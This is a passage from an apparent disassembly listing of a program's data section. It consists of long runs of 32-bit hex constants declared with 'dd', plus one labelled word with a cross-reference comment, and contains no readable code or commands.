		dd 451874CEh, 0D56927C3h, 8A790016h, 2401068Eh,	7D183256h
		dd 4D214178h, 0B88D61CAh, 208B1B53h, 0E81EE98Fh, 90839FBFh
		dd 0F006F9AEh, 7F30B4AFh, 0F3F40C5Ch, 9C41D73Fh, 0E4660216h
		dd 32D538C1h, 6B6CAD8h,	0C34E3F8Bh, 0BCB0292Dh,	47D7BE00h
		dd 0BC3D188Fh, 7F8EF215h, 0F87B5446h, 67560EF0h, 17002FD1h
		dd 9770C83Fh, 0BF661C00h, 0AD200C2Ah, 16E201AFh, 54EEDD32h
		dd 0BC7980E3h, 24562223h, 0B8483EFEh, 718F068Ch, 0BE00DF59h
		dd 1B61F6BBh, 5E07CEh, 0ECFF88B5h, 9B04A445h, 0C52B3E06h
		dd 51CB0Bh, 2C49744Ch, 5477E53Fh, 0EEFD5600h, 4532A891h
		dd 0F8F14A8Ah, 0B023038Bh, 0DEC48C8Eh, 0A1C600E9h, 0AD8F432Bh
		dd 31002FE0h, 26B82362h, 9B3AF4h, 3DFE2DEEh, 8AC377D4h
		dd 8CF5C602h, 0A0BFA9F1h, 873874C4h, 78B147h, 0AA8E15FFh
		dd 500D917h, 8C37B012h,	14E00987h, 0C0902B8Bh, 0C7655BC0h
		dd 9A035F22h, 47ADBDC5h, 3C59002Fh, 0C03888F5h,	6E002562h
		dd 0DCD68EACh, 66B1850h, 661F48F0h, 510008F4h, 8DFFDF35h
		dd 0E29AED3Ah, 73E01F80h, 9CF1434Bh, 96E14481h,	72A9F097h
		dd 0F44F8203h, 0C150886Fh, 0DDD0A5D7h, 7FF07Dh,	444C7F2h
		dd 0FB9CDAF1h, 78D45A27h, 93C00054h, 83FFB54Fh,	8B3CDF43h
		dd 1ED008Ch, 6EF97F94h,	3A6C7896h, 306797E1h, 3F9FC78Eh
		dd 0FF80370Eh, 71E03CB0h, 0C8148A1Dh, 49139805h, 0EB046411h
		dd 0F330CBFh, 18631053h, 1864D2C4h, 21CF6A18h, 0A09A209Dh
		dd 0C8F079h, 5198EA57h,	5947E866h, 3E06D775h, 0EF0C9049h
		dd 147E59h, 95DDA42Eh, 7D7560DBh, 202208CBh, 2E9035D4h
		dd 0FB040693h, 195EE0D1h, 9941BD30h, 622E664h, 5885CC4Bh
		dd 0A0DF412Dh, 0D21E6B50h, 441C28E9h, 0B600D03Ch, 0FF29CFABh
		dd 7048EE8Fh, 0C2780095h, 0A126DC23h, 631864F9h, 0D2E9A8BDh
		dd 245D50F7h, 0D7138946h, 48E037B2h, 0A006FF0h,	0FAF24CB6h
		dd 60BCB71Eh, 4A8293Dh,	0D8014924h, 0BFF04786h,	0A9D140AEh
		dd 0AC832180h, 52CDA123h, 0C77EA600h, 0B84AE542h, 2054307Ch
		dd 48D78690h, 0F784C000h, 0FC7757CBh, 0C2990F46h, 18808356h
		dd 0F8785FF3h, 0B8533B28h, 9330C4E4h, 6505287Fh, 0C0EEE261h
		dd 0AFB9FFD1h, 8F0E788Ch, 38A03D10h, 0C0654308h, 0AFB1BC20h
		dd 0B70052FDh, 0F82E44E2h, 2A06EE1Eh, 39842033h, 7D0067AAh
		dd 0C70E62FCh, 34001628h, 91C05961h, 58D5527h, 0C16346ECh
		dd 92A421E6h, 0D4DD1058h, 0A06C66EFh, 0D21A81C8h, 84214AE1h
		dd 0EA609E18h, 0DD23BA2Eh, 911E5h, 3D2E922Fh, 6FC1FFh
		dd 107F9B06h, 3A455F14h, 0DE2BE801h, 48F566C6h,	30AA3042h
		dd 86082E8Eh, 64CEC5DDh, 969B4008h, 2ACD2Eh, 21FF8AB1h
		dd 59E18116h, 0E1FCC233h, 3DBB8178h, 0E954C041h, 3ECF81CFh
		dd 5ABD108Ah, 0CBB083F8h, 65C0E04Eh, 5D124626h,	381085FBh
		dd 0D1D81E24h, 0A13940D9h, 0B62C0815h, 4C23A7C0h, 40AE21D8h
		dd 88025391h, 8A14238Fh, 0FAAF0C41h, 0AC47EC0Ah, 1C5298Ch
		dd 0BA45417Bh, 0E4B46BF9h, 0C212650Bh, 6801D4A4h, 435C7BBDh
		dd 14B22080h, 0A26621FBh, 0C180B471h, 0CBC2423h, 4180899Ch
		dd 0D6F33800h, 0F0A0609Bh, 5530E06Eh, 0ECF58058h, 748C29D2h
		dd 21823FF4h, 0D79C3FF8h, 6500CCBDh, 8A72D515h,	1737EAFh
		dd 16C95437h, 8052BB93h, 74F3E8E9h, 75A5CCCh, 0A3E96795h
		dd 2DBF9013h, 8E196354h, 9D8085BAh, 2E09EB18h, 9C8DDDB9h
		dd 93360054h, 0ED9A6B2Eh, 0AC4C86C1h, 0FD8C0286h, 846A63C3h
		dd 48D24780h, 96AF811Fh, 11BF6217h, 0C1024A00h,	0FB9D86EDh
		dd 836E533h, 0A8210070h, 92E40262h, 0FC50149Fh,	9E3BD9B8h
		dd 653D0C40h, 185B296Dh, 20D8D4A9h, 0B44D7BD7h,	0F4B20A1Ch
		dd 49403893h, 46EE0402h, 7C223Eh, 0DB0261A7h, 0E83D6032h
		dd 85AA1815h, 513378A0h, 0F017296Ch, 2A478B3Ch,	3C443E10h
		dd 0D1A0D793h, 8934E61Fh
		dd 80409114h, 0ED960247h, 7D448C4Eh, 25F00A1h, 983B684Ch
		dd 0BD22CD66h, 54DA3D58h, 3DE52701h, 0EFE8FA2Ch, 20A4BB81h
		dd 3E295F1Ch, 0A307B452h, 40E04255h, 3C4E7110h,	64D0DB76h
		dd 7558A07Ch, 8F0C9C70h, 2111898h, 0CFD79F67h, 5F30408Eh
		dd 0D1090010h, 0D8FA0570h, 36F56498h, 0AFBB02A8h, 31BF78EAh
		dd 0B3AE1044h, 5B7400AFh, 0A88FA1C8h, 0FF037572h, 89D70454h
		dd 0D42F9587h, 16027F23h, 41621B28h, 70312DB0h,	221A7002h
		dd 0C7235833h, 7DE4C871h, 153D0002h, 4781A0A4h,	0F0242CDDh
		dd 8F01547Ch, 0FDC66384h, 0EB99D980h, 6778E3E1h, 1EFB1009h
		dd 8140B2B8h, 7ED84AFDh, 4C226C66h, 23A98603h, 0CE7810h
		dd 291D9451h, 0C5774131h, 97DE7500h, 0DCFF3B5Bh, 0CA219F7h
		dd 20B3E8E9h, 48C925Ch,	0ED95024Eh, 100F6466h, 0A30280ACh
		dd 0C48B33h, 0DAED3DF0h, 0A0F1AEC3h, 0BDB4F90Ch, 7A79994Dh
		dd 572100A9h, 0C014EA34h, 87030A04h, 0CB67D94Ch, 0DB97A07Fh
		dd 8891E53Dh, 2538095h,	916EEDC2h, 4BADC0A0h, 53037902h
		dd 7661AF40h, 4440ACDDh, 5651D878h, 0D9055890h,	0F7AAFDC4h
		dd 304BD092h, 8E08AF87h, 66169F78h, 0BA0021EAh,	8BB3AFBFh
		dd 1240E332h, 716C06Ch,	762567F8h, 63F130FDh, 64ECA1FCh
		dd 9104CC0Ch, 0B078D955h, 0F6C328D0h, 20848126h, 4A41CC18h
		dd 8858D830h, 0C730C40Fh, 0EBC01853h, 8051642Ah, 0AFBD60A5h
		dd 8C7873E8h, 0B5E011F3h, 1259F4h, 6DC3BFE1h, 0BBC4DDABh
		dd 78586261h, 74243FE8h, 0D2439DFDh, 0B2A71813h, 7F00346Eh
		dd 601AA77Eh, 5944BD68h, 88DD0081h, 93654FCBh, 23018AEAh
		dd 5577193Fh, 0C771D721h, 308FD842h, 0A810024Dh, 0ABE09EEDh
		dd 640002A5h, 0BFE37A50h, 5098A7EDh, 7DFB0F7h, 0D8082D6Eh
		dd 5DE2A23h, 8B44F6F9h,	0C022C884h, 209921F6h, 4315D71Ch
		dd 307533FEh, 76892440h, 6B2108F0h, 0A7EBBF01h,	8884EED0h
		dd 907054B7h, 0E9A48598h, 0D52420C0h, 1528C3Ch,	556DEA2Eh
		dd 2840EED8h, 8C09BCE8h, 0E5DFCC00h, 4A528D43h,	0DB060930h
		dd 20F678h, 0A97D7CF1h,	71242014h, 537470F8h, 50B0C8DCh
		dd 28D45D4Ch, 1BFC73F7h, 6126344Fh, 0FC33BBB9h,	0C37E1C55h
		dd 970099E0h, 25A5343h,	9896FEECh, 12C8DD70h, 6F71121Ah
		dd 5FD300E4h, 0A98D5875h, 10F80051h, 426FE9CEh,	964BEDh
		dd 0C280BD11h, 76D85323h, 85A7448Ch, 6423AA1Ch,	63803540h
		dd 50141862h, 10ACF3h, 0F52C5396h, 7D898220h, 0AC900FF8h
		dd 0A2026646h, 0B778EBAFh, 0ED10D531h, 2A07AFBAh, 8A35CD43h
		dd 0FDECAD43h, 0A9248010h, 0D85930E6h, 0A9C5D914h, 0ECEF09CCh
		dd 31082FCDh, 852E8F80h, 0CD43EDDDh, 32280C22h,	3301C597h
		dd 0D7FE2A57h, 0FCD9342Ch, 0E8B28833h, 7BF030h,	35B54360h
		dd 0CEB0C15Ch, 14B26C90h, 0C49D9320h, 26A9068h,	5163C9C0h
		dd 45E084E0h, 109C9A9Ch, 0C0265F2h, 0B434BF93h,	0CBC2D803h
		dd 0C0D90059h, 38563388h, 0D1792263h, 4B521C00h, 0B961E7ABh
		dd 17EB2EB3h, 95B840F0h, 0A4025E37h, 0CBC1BDE1h, 58FF41CDh
		dd 9D293E4h, 0A8914E55h, 6E94C80Ah, 0BF154BA0h,	2901E440h
		dd 9F944FACh, 9092E9C0h, 0FC3002D9h, 0A090D077h, 0BF0FD6E5h
		dd 8082021Eh, 0A3DCAF2Fh, 580A6414h, 61E40F7h, 28580B5Dh
		dd 12EB83B0h, 3A9CF694h, 7EA2338h, 33CE3891h, 3B8F5440h
		dd 0D8772002h, 7B42C4E6h, 88895B06h, 0BB7CC0DCh, 89366225h
		dd 91B41738h, 0A71A807Bh, 5BD4F91h, 0D2010569h,	8CD052EFh
		dd 8E0087C4h, 80C6B07Fh, 7C94E99Ch, 93A0B11Bh, 0F5588C9Dh
		dd 48DBCB10h, 50895C71h, 7D8C71BCh, 54BB307Bh, 7CA24D81h
		dd 90B64617h
		db 0, 0BAh
word_505446	dw 1D98h		; DATA XREF: ___:off_4374C8o
		dd 0A9AF0Ch, 0D7655516h, 783C7E29h, 0CFACD154h,	0EA011A03h
		dd 98DCBECDh, 70266CBBh, 90C80832h, 3F0008C0h, 0F676751Fh
		dd 838D2F8h, 95C0BC48h,	21D84E23h, 4B91409Eh, 239D820Fh
		dd 7C566040h, 0D724FAEDh, 9017DE5h, 0CFC0A7EFh,	22C6AC24h
		dd 0BC90A9D9h, 0D6D1F899h, 1F003218h, 244685E5h, 125BB183h
		dd 4465A854h, 5D5AE318h, 7B48D1B0h, 0D19109BDh,	0D41C5598h
		dd 3066092Dh, 698050h, 351D3999h, 0C6747AC8h, 0B48E7509h
		dd 504466h, 0C8E20B31h,	0A76E61CCh, 632A0100h, 15453D52h
		dd 7C890A5h, 0BC95E054h, 0A0DBB6DDh, 0E6444044h, 8DBCB8A7h
		dd 0D06AE084h, 0B70024DDh, 0D9806BF9h, 9221EFD1h, 26089240h
		dd 84B0EAECh, 8818B063h, 900514A0h, 0EE808BDh, 61B4EA82h
		dd 8F11FF6Ch, 8E50FDBAh, 0C0400CA9h, 0D6A24BFEh, 833F0025h
		dd 0E3B2FB0Eh, 3E0C09E4h, 79DB77B0h, 0A7EA34F4h, 0C8F8CBDEh
		dd 0FB9AC020h, 0C94E82Bh, 0F54B541Dh, 0EDE08082h, 0B03B2176h
		dd 1AC461Ch, 0DDC02E8Ch, 0B0CDAF5h, 943188h, 0C024252Eh
		dd 58A16C7Bh, 2548EB48h, 0D8F88741h, 425B7CC2h,	0C9840220h
		dd 92BF20FCh, 592A3624h, 6D09E08Ch, 20E71C71h, 0B3EF2068h
		dd 4AAA80A3h, 10E2DF04h, 0D0B246E0h, 0CD3062F2h, 6533001Ah
		dd 0BC2CCF99h, 70E3F823h, 49EB2B0h, 76465Ch, 0E9537E2Dh
		dd 13E2DB99h, 200DC2D2h, 0F00A616Ch, 83F0500h, 9BEDA2DDh
		dd 9ADB02C3h, 59A453DAh, 80858884h, 6EEAE3D4h, 2C91DC90h
		dd 1744F820h, 697A313Dh, 94D78679h, 2EE051B8h, 99099C2Fh
		dd 83786818h, 585C39E7h, 253EA080h, 94AA07C4h, 0AB527D05h
		dd 0B441AD41h, 0ECD4C165h, 0F8025063h, 0F54853D7h, 4AF48880h
		dd 8514BF92h, 9FD8614Eh, 1C9B3041h, 78AC867Dh, 72D618Ch
		dd 837BDCE8h, 7A463005h, 0BCB2FBE4h, 453056E2h,	77D11332h
		dd 0EF342C70h, 29EE8D02h, 59D79098h, 848021D8h,	8075ADE4h
		dd 0DA26F317h, 154F6400h, 0EED28E13h, 0DBF50591h, 16F97D4h
		dd 0BD3B22A0h, 34698F3Eh, 7CE660D2h, 0E54A84h, 9E0FB86Ah
		dd 7677C1F2h, 2293F69h,	50EDD81Ch, 2BFD0BE8h, 60A26D94h
		dd 0E48A3063h, 80981128h, 0EDA7024Ch, 58489636h, 201A4A6h
		dd 0BF5E9319h, 74388935h, 8C70B8h, 0E7541CA4h, 0C928CA47h
		dd 554D2D04h, 48E46BD8h, 16F372BEh, 0C2FD97CBh,	547A4104h
		dd 5302F7FAh, 0E4BBCB4h, 67F8C06Ah, 349612BBh, 9F5070ECh
		dd 0B09A9920h, 188FB525h, 540E6DB8h, 77FF8462h,	0E86518DDh
		dd 9706903h, 2E678B00h,	4BAF8C46h, 0D55F07B3h, 70C06C81h
		dd 50E391E7h, 669B1D00h, 0BE093F3Ch, 0B378013Bh, 0DA17E960h
		dd 36C8D018h, 2586F700h, 0CC359875h, 1FF678EDh,	3D8F8041h
		dd 0B0B77280h, 0A8BFDEAh, 0BE013F00h, 2AF4A333h, 71E61F1Eh
		dd 31CDC0Fh, 0DA527B5Fh, 1927B9A0h, 4A768B00h, 0F3673CC2h
		dd 709728C6h, 0C01824F0h, 85220078h, 64D4D863h,	3042DC96h
		dd 6C5901FFh, 5422D208h, 0E8E461h, 0BA91C51Fh, 0C68D62BEh
		dd 20E9D12Ch, 0C43F234Bh, 0DD3909F5h, 542F7434h, 4D3BE8E1h
		dd 0EC51D6D7h, 96180979h, 0A86D9800h, 0C973F3F1h, 106213B2h
		dd 0C09C9B3Fh, 0D7C525CCh, 443F30E1h, 6BC3EF98h, 78B04D67h
		dd 240E80Eh, 650476F7h,	0E758EC59h, 723F8664h, 0C7C883EAh
		dd 4C1FE3D1h, 96C19CD1h, 0C48D2D9Dh, 56004014h,	37751BF6h
		dd 99AA310h, 6498D754h,	44625C65h, 59211865h, 0D08C6107h
		dd 0A3A0A1F8h, 0A8F13413h, 0EA30FAB8h, 0E7563DE4h, 7BE8D4C8h
		dd 412008Ch, 0C281723h,	98A02A6Ch, 0B58047BFh, 862D1369h
		dd 444C20BCh, 0B1002523h, 39AE37Ch, 972CBDh, 77DA4E21h
		dd 0DC1FEABh, 30905B54h, 27C73701h, 86454064h, 5733CC41h
		dd 51DF2000h, 2A24240h,	6F92E3E9h, 7C78FB48h, 0A9C01877h
		dd 5680CB03h, 3F2F00CDh, 0D552F141h, 0FD0CD04Ah, 504527C3h
		dd 0E8EB6508h, 0B75C98DBh, 6CD02041h, 0FC165834h, 43FAD584h
		dd 585CE3D2h, 255AE0B1h, 0C88CCA68h, 8020C755h,	0BA545FF5h
		dd 0EA86C18h, 35D7EB70h, 0CDD9FFB8h, 88084B04h,	90A6C043h
		dd 77071696h, 37E897B9h, 7570DB3h, 0C87647C1h, 0C290C052h
		dd 54131107h, 84D00CD4h, 5B8ACCh, 0BD469658h, 1827E578h
		dd 4800F972h, 4F2E4C07h, 0AA215A0h, 4D7353EAh, 0F5D80588h
		dd 0A4D40151h, 2D0D9D99h, 1F4007Ch, 0F64746B0h,	0E5040A16h
		dd 3DB03842h, 58E4D289h, 58965046h, 0E549902Eh,	6062E4CCh
		dd 43A6E11h, 0E2B386CCh, 59D0A47Bh, 6573221Dh, 200BF500h
		dd 0F8BAF2AAh, 2BAB0E8Fh, 3B0577F9h, 0BB0B7A0h,	402BF1D8h
		dd 3B0FF324h, 2814EDBFh, 7727D8D2h, 0B9435C20h,	0A601814Fh
		dd 2AD90B37h, 0A1E4E8EEh, 0DE0902A2h, 68EF2FD3h, 0DB06BCC4h
		dd 0ECF0BFEDh, 0D810EF49h, 8401259Ch, 342A9AC4h, 75F8D0C7h
		dd 4DB4CE6Ch, 0DBB2B8E2h, 73083041h, 314CA25Ch,	0E00C70FAh
		dd 743E6520h, 0D4620E54h, 854084C0h, 69DBC7B2h,	98B09C90h
		dd 70A37104h, 0ECB9F24Ah, 447C0509h, 0B9DFEC50h, 0D8BF9303h
		dd 8BD04ADBh, 0C055C838h, 0A77D5F70h, 1947BD30h, 12B23A71h
		dd 0A2C025DAh, 3070F248h, 0E35077B1h, 7B2DD728h, 2A9484E0h
		dd 3481EC84h, 8405A399h, 0AC4084D4h, 43E9EC7Ch,	84B70964h
		dd 0F47140h, 0E7B2959Bh, 524CC626h, 90FC222Ch, 809BF8A4h
		dd 0FB481337h, 0C97C0D4h, 6AAC9Fh, 52A89A83h, 0B6625A16h
		dd 48783E25h, 99A21EA4h, 184CD144h, 33712574h, 79E4B045h
		dd 57D1DC60h, 2BADAC01h, 290C3C9Ah, 661E470h, 6BD5C9DDh
		dd 0CB02CB4h, 4DA20B6h,	0BE6062B0h, 78178FAFh, 30CA1697h
		dd 0AFB6B902h, 97E2087Dh, 244BE818h, 441F94Bh, 0D49E5B31h
		dd 0F2EB99CCh, 778F0DE2h, 0D93157D7h, 635180CFh, 8005410Dh
		dd 760B00FFh, 0A984296Ah, 0AA0199D1h, 44FB5DD2h, 60768F49h
		dd 0A32E9105h, 0A25CC5DDh, 9934804Ch, 12C282Eh,	0FD123E1Dh
		dd 46AF42Bh, 0EC84EC9Ah, 0FCFF3064h, 48B8EA92h,	9804B0DAh
		dd 0D80CEAD2h, 0F09CE1A0h, 90F86669h, 9E5C9AACh, 46734008h
		dd 0F7005B16h, 0B756AB15h, 0B80B397h, 0BF1C4C5Dh, 7727A444h
		dd 0E88049D9h, 3E4DCE9h, 6FEA1389h, 0DFE8C040h,	78B93B22h
		dd 0B00FEA0h, 25E47416h, 91F9E2h, 3D442A59h, 877B025Bh
		dd 43F32027h, 18A9A6B4h, 0A1D37AEDh, 0CA00D076h, 3F526FF1h
		dd 0F9FAFC3h, 0F05FD1B9h, 0C07C3944h, 0E9EEE848h, 1BA472Dh
		dd 86C2D924h, 148212D9h, 85BF8378h, 5C444CC4h, 0AC7C0118h
		dd 876311FFh, 62984401h, 0A05ABDA8h, 0BC4AD600h, 0BAC327F5h
		dd 86A40589h, 8443394Dh, 0BB1CB054h, 1223E28Ch,	0F2A6D84Dh
		dd 907FC0ACh, 0FA490123h, 715B6F0Ch, 0F6466C80h, 0A4020B6Fh
		dd 17E85584h, 0F99C4877h, 173AF831h, 0E429FCh, 18EAD6A0h
		dd 0D3B8D92Dh, 0A057E13h, 0F86F8402h, 0E9C880D7h, 45F380C0h
		dd 0CBB845B6h, 6543846Ch, 0E9785C30h, 6B059CB8h, 66125AECh
		dd 568880CFh, 0ED60CEC1h, 4BA49FC4h, 0C38D3D0h,	76233E8Ch
		dd 71796830h, 0FED299Ah, 0A4172FA8h, 50804B91h,	7F5EC90h
		dd 16D14D39h, 9405A75Ch, 0CC9A5FDh, 46E0E3DDh, 134B118h
		dd 9FADF24Bh, 8F56F4A2h, 53A51401h, 6155680Dh, 0A778403Eh
		dd 1E93044Eh, 3C405000h, 0B1F2D07Eh, 251901FAh,	4D1D4A3Eh
		dd 47278h, 0B22963E4h, 56519Bh,	0D37C17CEh, 6B980621h
		dd 0AB029E71h, 8B78E3BCh
		dd 79D4D9F5h, 0B8641853h, 9D2F73CCh, 4C53009h, 82607BC4h
		dd 9C1FEBA5h, 0BB42DD03h, 0DABC3A66h, 0A08B036Ch, 0B5C22709h
		dd 0ABF1A8E8h, 0C7265028h, 4A5D8C27h, 8F876FCh,	0B218534Bh
		dd 4E6FE940h, 624C358h,	0D6F3500Bh, 0BFD020E3h,	2FACC267h
		dd 0FC0E4A86h, 0B41437C8h, 89C717D4h, 678FE000h, 0C0D374A2h
		dd 6F2EC148h, 1091FB55h, 0CC194C79h, 0DE0599E9h, 8B07C9E0h
		dd 8F240B2h, 17A130h, 0B9FB0EBEh, 0D937BA56h, 89C83412h
		dd 44B1E8E3h, 1B50C65h,	0CCF5312Fh, 201A0106h, 0D9381D35h
		dd 9856A82Ch, 0F128B077h, 7427B0A1h, 0E66041AFh, 6465FA12h
		dd 0E2604BE4h, 93006897h, 51BA711Bh, 99184BB6h,	0C095015Ch
		dd 0CC017CD5h, 0C81E696Dh, 4FC721E3h, 3450AD23h, 4FC99136h
		dd 0C8D88BC0h, 8EBC021h, 709A6878h, 0CB32F0EAh,	6DACE0A2h
		dd 61A44404h, 34F8B0CFh, 0FEEC09C9h, 0CC19A67Ah, 96FADCC8h
		dd 6890200h, 24471F6Bh,	0B15E0083h, 2563A4D0h, 0E4A73B71h
		dd 1864D542h, 2B02058h,	0D0E2EB09h, 772448ACh, 2429C0DCh
		dd 0BD957F3Dh, 0DA53C300h, 0C09CEE06h, 2B52004Ch, 1B80D281h
		dd 414E4BC7h, 5E90A411h, 1C722C6Eh, 9FE1389Bh, 0C0BC1E1Fh
		dd 0E7A1309Fh, 49783348h, 80F05409h, 0D9C0F17Eh, 0ED1807h
		dd 5413C167h, 0D951505h, 80D82EB5h, 2AB9F70h, 4DF802ACh
		dd 0C21CF55h, 465E205Eh, 242E7507h, 4A1D6CCEh, 0DD8B59C0h
		dd 0A276082Ch, 3FF8F194h, 0DC991B00h, 5AC81521h, 0D637770Ah
		dd 0D0804CBFh, 98319703h, 32050F75h, 9768AC9h, 88455A4h
		dd 0C04941F4h, 8F20DBF3h, 75EB12F9h, 6044C831h,	7490589Ah
		dd 646EAD26h, 0C37D183Eh, 43FBF41h, 638B2E09h, 0D21CB4DBh
		dd 80ECE65Ch, 0B47C1275h, 0C0A60270h, 0FCF0896Dh, 0A4D9C059h
		dd 9A00DA18h, 0E187FA9Ch, 33CFB80h, 6FEF07E9h, 0A02D79FEh
		dd 0EE10AF77h, 3152E02Dh, 27471573h, 0B8C4B4E2h, 0B0495100h
		dd 1E5F4072h, 0EED73BF1h, 0EBBCDD05h, 7B80550h,	8450DB82h
		dd 0C03064E9h, 54015F22h, 5EAF5DBh, 0F7FC9EFBh,	72182ADFh
		dd 0A5F200A4h, 8E64D7B6h, 5A2E2326h, 1E01AB5Dh,	99389432h
		dd 0B99B4170h, 0AC654920h, 0C260A464h, 8701639Bh, 0A9B1CDB8h
		dd 202E3E51h, 189F9354h, 0B410FA42h, 480D25DCh,	0F4035A7Ch
		dd 0C8C70062h, 0FA16AD3Bh, 0DF00A76Bh, 7DC2F869h, 3BF7327Ch
		dd 6592DAEEh, 8850CB3Eh, 0F83CC021h, 0E83B3870h, 13DC480Fh
		dd 3CA6FBA3h, 5593CFB0h, 28D4507h, 0B296E1D8h, 103C0150h
		dd 58ED198Fh, 75C44865h, 2449DE4Bh, 48487A77h, 0CB3D2BEDh
		dd 0B325D180h, 4A1050A0h, 5B51DB01h, 0EF7C4BD8h, 0F860F9EDh
		dd 0D800953Ch, 62E85444h, 67C6DE2Dh, 652244F8h,	76888E82h
		dd 0DAB808A8h, 90D07712h, 7571E0h, 0DC5CE7C6h, 7BEE082Fh
		dd 98D7020Fh, 0E9F8E19Ch, 0C694C33h, 0BFB20C3Bh, 0D45CBD61h
		dd 44EA8D80h, 2C9F843h,	5D0750CEh, 0ADE0DE0Bh, 263B2ECAh
		dd 0DAE500C3h, 94584096h, 4420B517h, 285C75BFh,	2FDEE2Fh
		dd 9FDFACh, 70D3C4DDh, 978AB8BCh, 0CB1E0C56h, 594708A1h
		dd 53316F46h, 44EFC39h,	654541E4h, 76F8F804h, 6E5B48DAh
		dd 0D18E02C4h, 80C2C3CDh, 4D0D4CB8h, 23D909F2h,	18E146E0h
		dd 0B8406BBDh, 0C70DE806h, 90E700E3h, 3554253h,	6000EE48h
		dd 2E7AFC3Ch, 76976CDFh, 0D13CB1CBh, 631809h, 7FB920E2h
		dd 0EF42B025h, 6CB3D304h, 3880FCCCh, 8A0CBFEDh,	0CC104042h
		dd 0DA0D5286h, 51DC74E5h, 519BDFF0h, 0AFE040F7h, 63B8304Ch
		dd 0D4D784D8h, 0C04F0728h, 4EBAAA00h, 0B6E3C08Fh, 8B081C3Dh
		dd 382258BDh, 0BA169091h, 28409662h, 2DE599A5h,	77950C7Ch
		dd 3D61E171h, 28A24A00h, 758D2742h, 0A18F058Ah,	40A9C463h
		dd 6CBA66E4h, 41040342h, 478DDA08h, 781EB8ECh, 4F2E62h
		dd 63D5F2D7h, 0FF749D68h, 18088063h, 0AC22906Fh, 74A090D7h
		dd 0EE560078h, 6EA910B0h, 0DA02F02Eh, 0EDAAE220h, 0F39D80F9h
		dd 1836A219h, 105BFC7Ah, 25008641h, 0F0DFD263h,	5A67663Dh
		dd 8ACC072h, 0A200C18Eh, 136DEA4Dh, 145FB1F3h, 84490534h
		dd 61BD800h, 9E879D52h,	939BA900h, 9A6244FFh, 0F514E8BBh
		dd 947C1188h, 0AEB896C0h, 91B3443Fh, 30A8BB1Ah,	7A54F441h
		dd 0F8D8A6C2h, 542E6BE7h, 8900A423h, 779BC733h,	918A0B0Fh
		dd 0CC87845h, 4F90A508h, 0B8406201h, 0FAD7D9CAh, 32D320h
		dd 4F1A5ADBh, 0DBE7B86h, 0AD38A0BDh, 191B4FAh, 0D5E6EF33h
		dd 0C48F44B9h, 950037BEh, 0A0AAAB84h, 7BCF4A3Ah, 655041Dh
		dd 98DBE17Ch, 979DB4E4h, 817F1134h, 5B6D7E6h, 30632DD9h
		dd 6D300EA2h, 2FAA0074h, 0D2546F8Ah, 21DD14E1h,	884010EDh
		dd 83F10702h, 8CB182h, 0A76651ABh, 96BD9900h, 1DE862E7h
		dd 0BEBCB8E3h, 51108068h, 3E4DCB80h, 927C4Ah, 0A47A33h
		dd 6E581D6Ah, 85CA5FAFh, 27366313h, 7CF2B8B2h, 0B6230h
		dd 170C0445h, 0B2CF61B5h, 80E4B597h, 97E190E9h,	874EC0BFh
		dd 48CE18C9h, 149ACAh, 0B0E5A6BAh, 3B5F7D50h, 0BF39ABEEh
		dd 55798E77h, 60E7402Eh, 0F8E95CD3h, 3FA77BDEh,	0E0076F13h
		dd 12D8E878h, 487166B5h, 8B180C79h, 9A556307h, 260152C6h
		dd 2E2B3D13h, 0D23DCh, 7B9FD5CCh, 0BC13FF21h, 4808A5E5h
		dd 68B7AFACh, 0BDB75000h, 1680B6B8h, 8876A57Dh,	7C073B8Ch
		dd 4EACF685h, 90E0C8D0h, 0DBD90050h, 82915EBCh,	7C5C92A3h
		dd 78EB165Bh, 3C306816h, 0E82E1FCh, 75AFB66Eh, 0F0501804h
		dd 6F131784h, 0B804D44Ah, 24E322C5h, 6E3050B2h,	93D30E0Ah
		dd 81E5BC5Ch, 75A8B0DDh, 65005842h, 3AC0521Bh, 0E0092D56h
		dd 0E7F53418h, 607D64C8h, 18DBC5h, 4AFE61D7h, 8BB940Ah
		dd 0A0175227h, 2CBD56DCh, 0F116006Ch, 540AA177h, 37001DFAh
		dd 8D78D94Dh, 5A7FFD7h,	0E5BD0185h, 8AE4046Ah, 0EF08076Bh
		dd 4A77FBE1h, 56E8342Ch, 820C018Ch, 0EDBD0367h,	4D18AD1Eh
		dd 0F5CEC07Ch, 0F30CB533h, 0E171187Dh, 3D73A17h, 6680D23Fh
		dd 0D05FC53Fh, 0E5048583h, 76C2E59h, 51C48Ch, 298DD827h
		dd 26D4AF67h, 0BDF0E509h, 214F07Fh, 3DFE1A7Dh, 0AC66DE7Ch
		dd 7C7180B1h, 973F5D18h, 272CC885h, 3DEC22DEh, 0E8FA79h
		dd 1D0B541Ah, 0C0A5E189h, 0CCD00D4Ah, 79B2ACC8h, 0C9450E98h
		dd 5CEFD8D5h, 0B45F8D23h, 542A25D0h, 0A786E03Eh, 11C41DB5h
		dd 0A837800Eh, 732A3497h, 3308116Fh, 0FAB04F5Bh, 0ADA8A0E9h
		dd 198C6B0Dh, 97978D9h,	0B2009B18h, 65973D43h, 25CBF76Fh
		dd 8907BDFh, 5D3CC872h,	8A053821h, 0C0FB1A6Eh, 4BEF5708h
		dd 5F4F5CEDh, 3E4532C1h, 0AFD89E0Ah, 0DC90B719h, 6803EBB9h
		dd 756AB5EEh, 13B798DEh, 0EF6C3818h, 0D62CD91Eh, 68FCC294h
		dd 0BA530527h, 2440ED89h, 843631B8h, 0F95C00EEh, 0AB108622h
		dd 0CEE474E1h, 652CDD11h, 0AD0CBF12h, 0C8F1000Ch, 0F9C93342h
		dd 1E0E0092h, 75BA27D5h, 3D0A1779h, 0EFC0BBACh,	88120116h
		dd 5330F4h, 0A3AF2195h,	2C566799h, 87837F26h, 16CDF700h
		dd 209DE9Bh, 0C42108Bh,	9CC0B46Ch, 7580F67Dh, 88414F74h
		dd 28461DCh, 184BBC55h,	0CCF3BAE4h, 9B3F78h, 3D66E949h
		dd 937BDA55h, 0B751E369h, 52CB01C8h, 3C510CF6h,	1FB2288h
		dd 0A041C236h, 23A48645h, 874407ECh, 807B3C32h,	0FA20D2Eh
		dd 4DCD0024h, 7801955Bh, 0FB4D1077h, 1C8CB860h,	828B523Ch
		dd 0DB7641DAh, 0D50007Eh
		dd 0A5C10059h, 3E55F38Dh, 1000AA20h, 0D786BE6Fh, 14EB994Ah
		dd 0B095E01Ch, 8C79E8h,	0F8887C2Bh, 0E3C8D4A8h,	546C961Fh
		dd 5DDCC86Dh, 8D131E75h, 419BC076h, 0F98267Bh, 32D61F07h
		dd 0B3D746A6h, 5D3484F9h, 0EC210441h, 91BAE83Ah, 0E03D75F4h
